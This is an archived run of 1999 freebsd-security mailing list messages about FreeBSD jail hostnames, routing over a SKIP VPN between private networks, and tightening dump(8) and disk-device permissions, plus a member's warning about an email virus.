freebsd-hackers@FreeBSD.ORG Subject: Re: about jail References: <19990925171712.A80535@zenon.net> <11744.938266471@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <11744.938266471@critter.freebsd.dk>; from Poul-Henning Kamp on Sat, Sep 25, 1999 at 03:34:31PM +0200 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > 127.0.0.1 is mapped to the jail address. telnet localhost does what > you'd expect it to. but bind() to 127.0.0.1 fails ;( > It's called "p_prison->pr_host" and it was there from day #1. > > > And > > /proc//status must show this value. > > It already does. ....................................... vm1# cat /proc/$$/status zsh 480 479 479 440 5,2 ctty 938282449,544330 0,55195 0,55194 pause 0 0 0,0,0,2,3,4,5,20,31 vm1 ^^^^ vm1# hostname qwerty ^^^^^^ vm1# cat /proc/$$/status zsh 480 479 479 440 5,2 ctty 938282449,544330 0,72515 0,56401 pause 0 0 0,0,0,2,3,4,5,20,31 qwerty ^^^^^^^ vm1# uname -a FreeBSD qwerty 4.0-19990918-CURRENT FreeBSD 4.0-19990918-CURRENT #0: Sat Sep 25 18:18:50 MSD 1999 ^^^^^^^^^^^^^^^^^^^^ vm1# ....................................... -- Alexander Bezroutchko, Systems Administrator, Zenon N.S.P. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 15:26:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.tepucom.nl (mail.tepucom.nl [195.81.12.5]) by hub.freebsd.org (Postfix) with ESMTP id C3B3914E4A for ; Sat, 25 Sep 1999 15:26:37 -0700 (PDT) (envelope-from theo@tepucom.nl) Received: from administratie (administratie.tepucom.nl [192.168.1.20]) by mail.tepucom.nl (8.9.3/8.9.3) with SMTP id AAA15246; Sun, 26 Sep 1999 00:25:05 +0200 (CEST) (envelope-from theo@tepucom.nl) Received: by localhost with Microsoft MAPI; Sun, 26 Sep 1999 00:18:03 +0200 Message-ID: <01BF07B4.9954C340.theo@tepucom.nl> From: "Theo Purmer (Tepucom)" To: "Theo Purmer (Tepucom)" , "'Jim Flowers'" Cc: "'freebsd-security@FreeBSD.ORG'" Subject: RE: skip and vpn Date: Sun, 26 Sep 1999 00:18:02 +0200 X-Mailer: Microsoft Internet-e-mail/MAPI - 8.0.0.4211 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I did that local ip nets are 192.168.1.0/24 and 192.168.2.0/24 on skip-end-1 (xxx.xxx.xxx.xxx) ive setup the route route add 192.168.2.0 yyy.yyy.yyy.yyy -netmask 255.255.255.0 on skip-end-2 (yyy.yyy.yyy.yyy) ive setup the route route add 192.168.1.0 xxx.xxx.xxx.xxx -netmask 255.255.255.0 but then i get errors from the kernel because it cannot do an arpresolve. i think im missing something thanks theo purmer ---------- Van: Jim Flowers[SMTP:jflowers@ezo.net] Verzonden: zaterdag 25 september 1999 22:22 Aan: Theo Purmer (Tepucom) CC: 'freebsd-security@FreeBSD.ORG' Onderwerp: Re: skip and vpn Use different subnets for each of your internal rfc1918 networks and then route the opposite end subnet to your local skiphost tunnel end. Only the skiphost ACL record and external interface has to know about the opposite end routable address. Jim Flowers #4 ISP on C|NET, #1 in Ohio On Sat, 25 Sep 1999, Theo Purmer (Tepucom) wrote: > Hi all..... > > got a problem here with skip and a vpn > > ive got two gateways running ipf, ipnat and skip. > it all works the gateways are on the internet...(far apart) > > on the inside of the gateways im using rfc1918 > networks. I want to be able to go from one internal > network via the vpn (using skip for encryption) to > the other internal network. > > but i cannot just set up a route for the other internal > network using the other skip gateway. I then get arp > errors cuz it wants the other gateway to be on his > subnet > > anybody got any ideas as how to get the tunnel running? > > thanks > > theo purmer > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 15:38: 7 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.tepucom.nl (mail.tepucom.nl [195.81.12.5]) by hub.freebsd.org (Postfix) with ESMTP id B800C14C37 for ; Sat, 25 Sep 1999 15:38:02 -0700 (PDT) (envelope-from theo@tepucom.nl) Received: from administratie (administratie.tepucom.nl [192.168.1.20]) by mail.tepucom.nl (8.9.3/8.9.3) with SMTP id AAA15282; Sun, 26 Sep 1999 00:36:30 +0200 (CEST) (envelope-from theo@tepucom.nl) Received: by localhost with Microsoft MAPI; Sun, 26 Sep 1999 00:29:29 +0200 Message-ID: <01BF07B6.32051760.theo@tepucom.nl> From: "Theo Purmer (Tepucom)" To: "'Archie Cobbs'" Cc: "'freebsd-security@FreeBSD.ORG'" Subject: RE: skip and vpn Date: Sun, 26 Sep 1999 00:29:28 +0200 X-Mailer: Microsoft Internet-e-mail/MAPI - 8.0.0.4211 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org im using 192.168.1.0/24 on one side and 192.168.2.0/24 on the other side ---------- Van: Archie Cobbs[SMTP:archie@whistle.com] Verzonden: vrijdag 24 september 1999 18:14 Aan: Theo Purmer (Tepucom) CC: 'freebsd-security@FreeBSD.ORG' Onderwerp: Re: skip and vpn Theo Purmer (Tepucom) writes: > got a problem here with skip and a vpn > > ive got two gateways running ipf, ipnat and skip. > it all works the gateways are on the internet...(far apart) > > on the inside of the gateways im using rfc1918 > networks. I want to be able to go from one internal > network via the vpn (using skip for encryption) to > the other internal network. > > but i cannot just set up a route for the other internal > network using the other skip gateway. I then get arp > errors cuz it wants the other gateway to be on his > subnet Are the local and remote rfc1918 network ranges disjoint? If not they must be. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 16: 6:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.tepucom.nl (mail.tepucom.nl [195.81.12.5]) by hub.freebsd.org (Postfix) with ESMTP id EE06915393 for ; Sat, 25 Sep 1999 16:06:15 -0700 (PDT) (envelope-from theo@tepucom.nl) Received: from administratie (administratie.tepucom.nl [192.168.1.20]) by mail.tepucom.nl (8.9.3/8.9.3) with SMTP id BAA15339; Sun, 26 Sep 1999 01:04:29 +0200 (CEST) (envelope-from theo@tepucom.nl) Received: by localhost with Microsoft MAPI; Sun, 26 Sep 1999 00:57:28 +0200 Message-ID: <01BF07BA.1AAD4DE0.theo@tepucom.nl> From: "Theo Purmer (Tepucom)" To: "'Archie Cobbs'" Cc: "freebsd-security@FreeBSD.ORG" Subject: RE: AW: skip and vpn Date: Sun, 26 Sep 1999 00:57:27 +0200 X-Mailer: Microsoft Internet-e-mail/MAPI - 8.0.0.4211 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org yeah i added routes but that didnt seem to be a good idea cuz i get all kinds of kernel messages saying it cannot resolv the mac address from the remote thats the problem but i dont know how else to get the machine to route the packets for the remote 1918 network via the secure skip tunnel.... thanks theo ---------- Van: Archie Cobbs[SMTP:archie@whistle.com] Verzonden: zaterdag 25 september 1999 1:48 Aan: Theo Purmer (Tepucom) CC: freebsd-security@FreeBSD.ORG Onderwerp: Re: AW: skip and vpn Theo Purmer (Tepucom) writes: > one is 192.168.1.0/24 > > other is 192.168.2.0/24 OK, so they are disjoint (they don't overlap). Nevermind that idea. Did you add routes for the rfc1918 networks? I think you should not. But now my memory is getting hazy... Clearly machine A shouldn't be ARP'ing for the remote network addresses. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 17:10:35 1999 Delivered-To: freebsd-security@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id DF38114EA1 for ; Sat, 25 Sep 1999 17:10:33 -0700 (PDT) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id UAA47484 for freebsd-security@freebsd.org; Sat, 25 Sep 1999 20:13:27 -0400 (EDT) (envelope-from cjc) From: "Crist J. Clark" Message-Id: <199909260013.UAA47484@cc942873-a.ewndsr1.nj.home.com> Subject: dump(8) Insecurity/Misconfiguration To: freebsd-security@freebsd.org Date: Sat, 25 Sep 1999 20:13:27 -0400 (EDT) Reply-To: cjclark@home.com X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org When fooling around with dump(8), a couple of things occured to me (these are probably old news, but I want to make sure I don't break anything): 1) Since the disk devices in /dev are by default set group readable to operator, any member of operator has access to any files on the disk regardless of any permissions on a directory or file. 2) Will it break anything if I clear the group read bit on the disk devices? 3) dump(8) is setgid to group tty. Why? 4) Can I remove the setgid bit? -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 17:34:20 1999 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id BE5E115242 for ; Sat, 25 Sep 1999 17:34:16 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id RAA59356; Sat, 25 Sep 1999 17:34:14 -0700 (PDT) (envelope-from dillon) Date: Sat, 25 Sep 1999 17:34:14 -0700 (PDT) From: Matthew Dillon Message-Id: <199909260034.RAA59356@apollo.backplane.com> To: "Crist J. Clark" Cc: freebsd-security@FreeBSD.ORG Subject: Re: dump(8) Insecurity/Misconfiguration References: <199909260013.UAA47484@cc942873-a.ewndsr1.nj.home.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :When fooling around with dump(8), a couple of things occured to me :(these are probably old news, but I want to make sure I don't break :anything): : :1) Since the disk devices in /dev are by default set group : readable to operator, any member of operator has access to any : files on the disk regardless of any permissions on a directory or : file. This is because the person who dumps the machine in a large installation has access to the operator account, which is in group operator. He can't dump the machine if dump can't read the disk device! Since nobody is in group operator except operator, this is not a security hole. :2) Will it break anything if I clear the group read bit on the disk : devices? If you never run dump or you only run it as root, you will not break anything by removing the group read bit from the devices. :3) dump(8) is setgid to group tty. Why? This is so dump can write to the terminal of all users in group operator, which is normally just root and the oprator, when you use the -n option. :4) Can I remove the setgid bit? Yes. :-- :Crist J. Clark cjclark@home.com : : :To Unsubscribe: send mail to majordomo@FreeBSD.org :with "unsubscribe freebsd-security" in the body of the message : -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 19: 0:33 1999 Delivered-To: freebsd-security@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id E8D9914FE5 for ; Sat, 25 Sep 1999 19:00:30 -0700 (PDT) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id WAA48170; Sat, 25 Sep 1999 22:03:23 -0400 (EDT) (envelope-from cjc) From: "Crist J. Clark" Message-Id: <199909260203.WAA48170@cc942873-a.ewndsr1.nj.home.com> Subject: Re: dump(8) Insecurity/Misconfiguration In-Reply-To: <199909260034.RAA59356@apollo.backplane.com> from Matthew Dillon at "Sep 25, 1999 05:34:14 pm" To: dillon@apollo.backplane.com (Matthew Dillon) Date: Sat, 25 Sep 1999 22:03:23 -0400 (EDT) Cc: freebsd-security@FreeBSD.ORG Reply-To: cjclark@home.com X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Dillon wrote, [snip helpful answers, thanks] > :2) Will it break anything if I clear the group read bit on the disk > : devices? > > If you never run dump or you only run it as root, you will not break > anything by removing the group read bit from the devices. I am used to only doing it as root since the manpage says, "Dump cannot do remote backups without being run as root, due to its secu- rity history. This will be fixed in a later version of FreeBSD. Present- ly, it works if you set it setuid (like it used to be), but this might constitute a security risk." And I often do dumps to tape drives that are not local. > :3) dump(8) is setgid to group tty. Why? > > This is so dump can write to the terminal of all users in group operator, > which is normally just root and the oprator, when you use the -n option. Hmmm... So if I am running as root anyway... And I don't use '-n'... This setgid really is not giving me anything. Thanks again for the helpful answers. -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 19: 5:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from lily.ezo.net (lily.ezo.net [206.102.130.13]) by hub.freebsd.org (Postfix) with ESMTP id 0EFCD14D55 for ; Sat, 25 Sep 1999 19:05:48 -0700 (PDT) (envelope-from jflowers@ezo.net) Received: from lily.ezo.net (jflowers@localhost.ezo.net [127.0.0.1]) by lily.ezo.net (8.8.7/8.8.7) with SMTP id WAA06455; Sat, 25 Sep 1999 22:05:32 -0400 (EDT) Date: Sat, 25 Sep 1999 22:05:32 -0400 (EDT) From: Jim Flowers To: "Theo Purmer (Tepucom)" Cc: "'Archie Cobbs'" , "freebsd-security@FreeBSD.ORG" Subject: RE: AW: skip and vpn In-Reply-To: <01BF07BA.1AAD4DE0.theo@tepucom.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I think you need your route on a host different than the skiphost that advertises it or that you point to as a gateway. There is no reason for arp to be involved for other than the local network. You might also want to set up an ACL entry for the skiphost to talk to the other skiphost throught the VPN, as well. In other words a source host sends the packets to the skiphost due to a a static route. The skiphost looks at the destination IP and checks its ACL to find out that it goes over the VPN, encrypts and encapsulates the packet and uses the distant end public address for the destination address of the new packet which is then routed in accordance with the routes in its kernel, usually the default route to the Internet. Whew. Jim Flowers #4 ISP on C|NET, #1 in Ohio On Sun, 26 Sep 1999, Theo Purmer (Tepucom) wrote: > yeah i added routes but that didnt seem to be a good > idea cuz i get all kinds of kernel messages saying > it cannot resolv the mac address from the remote > > thats the problem but i dont know how else to get > the machine to route the packets for the remote > 1918 network via the secure skip tunnel.... > > thanks > > theo > > ---------- > Van: Archie Cobbs[SMTP:archie@whistle.com] > Verzonden: zaterdag 25 september 1999 1:48 > Aan: Theo Purmer (Tepucom) > CC: freebsd-security@FreeBSD.ORG > Onderwerp: Re: AW: skip and vpn > > Theo Purmer (Tepucom) writes: > > one is 192.168.1.0/24 > > > > other is 192.168.2.0/24 > > OK, so they are disjoint (they don't overlap). Nevermind that idea. > Did you add routes for the rfc1918 networks? I think you should not. > But now my memory is getting hazy... > > Clearly machine A shouldn't be ARP'ing for the remote network addresses. > > -Archie > > ___________________________________________________________________________ > Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 19:13: 9 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id AF71414FFE for ; Sat, 25 Sep 1999 19:13:00 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id TAA08847; Sat, 25 Sep 1999 19:11:22 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909260211.TAA08847@gndrsh.dnsmgr.net> Subject: Re: dump(8) Insecurity/Misconfiguration In-Reply-To: <199909260203.WAA48170@cc942873-a.ewndsr1.nj.home.com> from "Crist J. Clark" at "Sep 25, 1999 10:03:23 pm" To: cjclark@home.com Date: Sat, 25 Sep 1999 19:11:21 -0700 (PDT) Cc: dillon@apollo.backplane.com (Matthew Dillon), freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Matthew Dillon wrote, > > [snip helpful answers, thanks] > > > :2) Will it break anything if I clear the group read bit on the disk > > : devices? > > > > If you never run dump or you only run it as root, you will not break > > anything by removing the group read bit from the devices. > > I am used to only doing it as root since the manpage says, > > "Dump cannot do remote backups without being run as root, due to its secu- > rity history. This will be fixed in a later version of FreeBSD. Present- > ly, it works if you set it setuid (like it used to be), but this might > constitute a security risk." > > And I often do dumps to tape drives that are not local. Run Amanda... ports/net/misc/amanda24. Create a user amanda with a group of operator. Kill the sgid bit on dump and you don't have to run your remote dumps as root. Be glad for the wonderful automation that amanda brings you and sleep better at night knowing that your backups are in good hands, and your security is a wee bit tighter. You'll have to leave the group operator +r bit on your disks, but since amanda is the only user in group operator, and it has no login password (* the field, you don't need a password on the account) your pretty darn safe, a fair bit safer than running around with root .rhosts or ssh root type access to run rdump, thats for sure! Be sure to block the amanda ports at firewalls and or hosts for extra security measures just in case someone finds a hole in amandas own ``.amandahosts'' security mechanism. -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 19:16:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 3ABB914C2B for ; Sat, 25 Sep 1999 19:16:53 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id WAA02587; Sat, 25 Sep 1999 22:16:52 -0400 (EDT) (envelope-from wollman) Date: Sat, 25 Sep 1999 22:16:52 -0400 (EDT) From: Garrett Wollman Message-Id: <199909260216.WAA02587@khavrinen.lcs.mit.edu> To: cjclark@home.com Cc: dillon@apollo.backplane.com (Matthew Dillon), freebsd-security@FreeBSD.ORG Subject: Re: dump(8) Insecurity/Misconfiguration In-Reply-To: <199909260203.WAA48170@cc942873-a.ewndsr1.nj.home.com> References: <199909260034.RAA59356@apollo.backplane.com> <199909260203.WAA48170@cc942873-a.ewndsr1.nj.home.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org < said: > "Dump cannot do remote backups without being run as root, due to its secu- > rity history. This will be fixed in a later version of FreeBSD. Present- > ly, it works if you set it setuid (like it used to be), but this might > constitute a security risk." Oof! Really awful language for a manual page. (Manual pages should never use the second person.) > And I often do dumps to tape drives that are not local. Kerberos-authenticated remote dumps will still work without special privileges (obviously!). I'm in group operator on my desktop machine so that I can easily perform remote dumps (since nobody here is so stupid as to give root a .rhosts file). If you care about security, and you are not running Kerberos, you should not be using rdump -- use regular dump and ssh instead. (Well, unless you have trouble with licensing the RSA patent....) -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 20:47:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from secure.smtp.email.msn.com (cpimssmtpu07.email.msn.com [207.46.181.28]) by hub.freebsd.org (Postfix) with ESMTP id DDB5314D4D for ; Sat, 25 Sep 1999 20:47:07 -0700 (PDT) (envelope-from JHowie@msn.com) Received: from JHowie - 216.103.48.12 by email.msn.com with Microsoft SMTPSVC; Sat, 25 Sep 1999 20:46:11 -0700 Message-ID: <004301bf07d2$aa5b9b00$fd01a8c0@pacbell.net> From: "John Howie" To: Subject: Date: Sat, 25 Sep 1999 20:53:14 -0700 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Folks, Unfortunately I have been hit by an email virus. It can potentially damage your system and it replicates by sending a copy of itself to everyone in an Address Book. I believe that I managed to catch the virus before it replicated itself but if you did receive a message from me entitled "C:\CoolProgs\Pretty Park.exe" DELETE THE EMAIL WITHOUT READING IT. If you have read the message but did not launch or run the attachment that came with it, your system should be unaffected. If you did run the attachment please contact me ASAP and I will tell you how to remove the virus and fix your system. Please accept my apologies for any inconvenience that this may cause you. john... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Sep 25 20:49:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from secure.smtp.email.msn.com (cpimssmtpu07.email.msn.com [207.46.181.28]) by hub.freebsd.org (Postfix) with ESMTP id DD28314D4D for ; Sat, 25 Sep 1999 20:49:50 -0700 (PDT) (envelope-from JHowie@msn.com) Received: from JHowie - 216.103.48.12 by email.msn.com with Microsoft SMTPSVC; Sat, 25 Sep 1999 20:48:47 -0700 Message-ID: <005d01bf07d3$07a5e630$fd01a8c0@pacbell.net> From: "John Howie" To: Subject: URGENT - READ THIS EMAIL BEFORE ANY OTHERS FROM ME Date: Sat, 25 Sep 1999 20:55:50 -0700 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Folks, Unfortunately I have been hit by an email virus. It can potentially damage your system and it replicates by sending a copy of itself to everyone in an Address Book. I believe that I managed to catch the virus before it replicated itself but if you did receive a message from me entitled "C:\CoolProgs\Pretty Park.exe" DELETE THE EMAIL WITHOUT READING IT. If you have read the message but did not launch or run the attachment that came with it, your system should be unaffected. If you did run the attachment please contact me ASAP and I will tell you how to remove the virus and fix your system. Please accept my apologies for any inconvenience that this may cause you. john... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message